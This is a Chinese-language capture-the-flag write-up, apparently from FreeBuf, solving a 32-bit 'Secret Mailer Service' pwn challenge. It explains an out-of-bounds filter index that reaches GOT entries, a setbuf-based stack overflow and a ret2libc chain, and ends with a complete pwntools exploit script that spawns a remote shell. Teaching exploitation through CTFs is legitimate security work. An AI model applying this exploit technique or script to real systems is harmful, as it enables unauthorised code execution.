Bl4ck_Ho1e
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

漏洞总是发生在看似平平无奇的代码中
分明对下标进行了限制的数组还是被越界了
pwn题中最常见的setbuf()函数居然也能用于栈溢出
ret2libc总是那么可靠
——记一道pwn的解题历程。
分析
下载附件并使用file
命令分析,得知是一个32位ELF程序,于是传到Ubuntu上运行,提示这是一个Secret Mailer Service并提供了几个4个菜单选项:
乍一看,觉得这就是个典型的堆类pwn题,Add和Delete就对应了堆的malloc和free操作,而盲猜Post可能是用来读取chunk内容的。
而正准备去Add选项找堆溢出,或者Delete选项中找找有没有UAF或者double free的时候,突然发现事情并不单纯。。
静态分析
把题目文件拖到ghidra里一顿分析,发现这个题跟堆没有任何关系——所有的数据都在栈上,其中主要的数据letter就是main函数栈上1328字节长的一段内存:
根据程序逻辑对结构体进行还原,栈上这段内存可以容下0~4共5个letter,每个letter结构体包含字符串、字符串长度和是否使用这3个属性。还原后的letter结构体定义如下:
根据还原的letter结构体,对反汇编代码进行优化调整。选项1功能的add_letter
函数核心逻辑如下,在读取用户输入时通过read
函数指定了长度,因此不会造成缓冲区溢出,此处无漏洞:
void add_letter(Letter *letter_array) {
long length;
int index;
...
printf("\nInput your contents: ");
length = READ(letter_array[index].content,0x100);
letter_array[index].length = length;
letter_array[index].in_use = 1;
puts("\nDone!");
}
选项2功能的delete_letter
函数核心逻辑如下,只是对数据进行了简单的置空,由于数据不是在堆上,所以这样的处理也就够了,同样没有留下漏洞:
void delete_letter(Letter *letter_array) {
int index;
...
letter_array[index].in_use = 0;
letter_array[index].length = 0;
memset(letter_array[index].content,0,0x100);
puts("\nDone!");
}
选项3功能的post_letter
函数核心逻辑如下:
void post_letter(Letter *letter_array,FILE *fd) {
int index;
int choice;
...
puts("\nWhich filter do you want to apply?");
show_filter();
choice = get_int();
if (choice < 3) {
(*(code *)(&filter_array)[choice])(fd,letter_array[index].content,letter_array[index].length);
puts("\nDone!");
}
else {
puts("Invalid filter.");
}
}
post_letter
的主要功能是根据用户输入选择一个filter函数,并应用该filter函数把letter内容写入到文件fd
中。post_letter
参数fd
是文件/dev/null
的句柄,是Linux上的黑洞文件。post_letter
上存在数组越界访问漏洞,对于用户输入的choice
整数变量只做了choice < 3
的验证,当choice
为负数时,就会访问到filter_array
前面的数据,并将其作为一个filter函数调用。那么filter_array
的前面是什么呢?是GOT段!
也就是说,通过数据越界访问,可以调用GOT表上任一个函数!但坏消息是没法构造函数调用时的参数,而只能以程序本身调用filter函数的方式进行传参,也就是传递FILE *
、char *
、int
三个参数。能处理这3个参数的GOT函数不多,而且要用来实现攻击,那选择就更少了,fread
和fwrite
之类首先被排除,最后希望落在setbuf
函数上。
setbuf(FILE *stream, char *buffer)
setbuf
函数用于将IO流与缓冲区进行数据同步,这么说比较抽象,直接上代码:
#include <stdio.h>
int main() {
char buf[BUFSIZ];
FILE *fd = fopen("/dev/null", "a");
setbuf(fd, buf); // 将buf与fd进行数据绑定
fwrite("AAAA", 1, 4, fd);
fwrite("BBBB", 1, 4, fd);
puts(buf); // 输出AAAABBBB
}
在上述代码中,没有对缓冲区buf
赋值,但通过setbuf
将其与绑定fd
绑定,从而buf
获取了输入到fd
中的数据,而且对于多次输入到fd
的数据,在buf
中是以累计方式存储的,这样可以通过多次输入绕过read
函数对输入长度的限制。于是通过setbuf
函数来进行栈溢出攻击可以分为2个步骤:
将栈上的buf与fd绑定;
多次向fd写入数据,同时也是在栈上buf写入数据,溢出缓冲区,修改栈帧。
由于题目没有开启NX保护,GOT表上也没有system
函数,所以剩下的问题就是构造ret2lic来获取shell。
动态调试
main函数的栈上可以存放5个letter,其中letter4距离栈底最低,所以用来溢出,而其他的letter用来存放数据以待用于post到fd上。
用gdb进行动态调试,在main函数中打断点,letter_array
始于0000,而EBP指向0528,每个letter的长度是0x108,所以从letter4溢出到返回地址需要填充的数据长度为0x108 + 4 = 0x10C。一个装满的letter可以提供0x100字节的填充,所以只需要前2个letter就可以完成payload的布局,然后通过post写入到letter4上完成栈溢出。
在动态分析上发现0x10C字节的填充存在微小的偏差,实际上需要多填充1个字节:
脚本编写
首先把4个letter结构体都申请出来,顺便在前2个letter上放上用于ret2libc的payload,这个payload用于在32位上调用puts
函数获取puts
函数在内存的全局地址。
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
# 重开main函数
main = 0x08048bd0
# 把所有letter都申请出来
payload0 = b'0' * 0x100
add(payload0) # letter0
payload1 = b'0' * 0xD + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1) # letter1
add('2222\n') # letter2
add('3333\n') # letter3
add('4444\n') # letter4
其次调用setbuf
函数绑定fd和letter4,再通过post功能把letter1和letter2上的payload放在letter4上造成栈溢出,通过调用puts函数来泄漏一个全局地址,从而获取libc的版本和基址信息。
filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']
setbuf_index = int((got_setbuf - filter_list) / 4)
# 调用setbuf(fd, letter4)
post(4, setbuf_index)
# 把payload加载到letter4上
post(0, 0)
post(1, 0)
# 结束main函数以调用puts
quit()
sh.recvline()
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')
得到了system
函数和/bin/sh
字符串的全局地址,最后只需要再重复上述步骤进行一次栈溢出就可以get shell了。
完整脚本
from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
def add(content):
sh.sendlineafter('>', b'1')
sh.sendafter(':', content)
def delete(index):
sh.sendlineafter('>', b'2')
sh.sendlineafter(':', str(index).encode())
def post(index, filter):
sh.sendlineafter('>', b'3')
sh.sendlineafter(':', str(index).encode())
sh.sendlineafter('>', str(filter).encode())
def quit():
sh.sendlineafter('>', b'4')
elf = ELF(elf_name)
sh = remote('pwn.challenge.ctf.show', 0)
filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = 0x08048bd0
# 把所有POST都申请出来
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 9 + p32(0) + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')
setbuf_index = int((got_setbuf - filter_list) / 4)
# 将letter4绑定到fd上
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()
a = sh.recvline()
print(a)
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')
# 重新来一遍
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 13 + p32(global_system) + p32(global_binsh) * 4 + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')
setbuf_index = int((got_setbuf - filter_list) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()
sh.interactive()
sh.close()
运行脚本get shell读取flag完工。
知识点总结
对数组下标限制不严格可导致数组越界访问;
setbuf()可对缓冲区进行多次累加写入,绕过长度限制,造成溢出攻击;
GOT表上没有system()函数,则需要考虑ret2libc来get shell。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)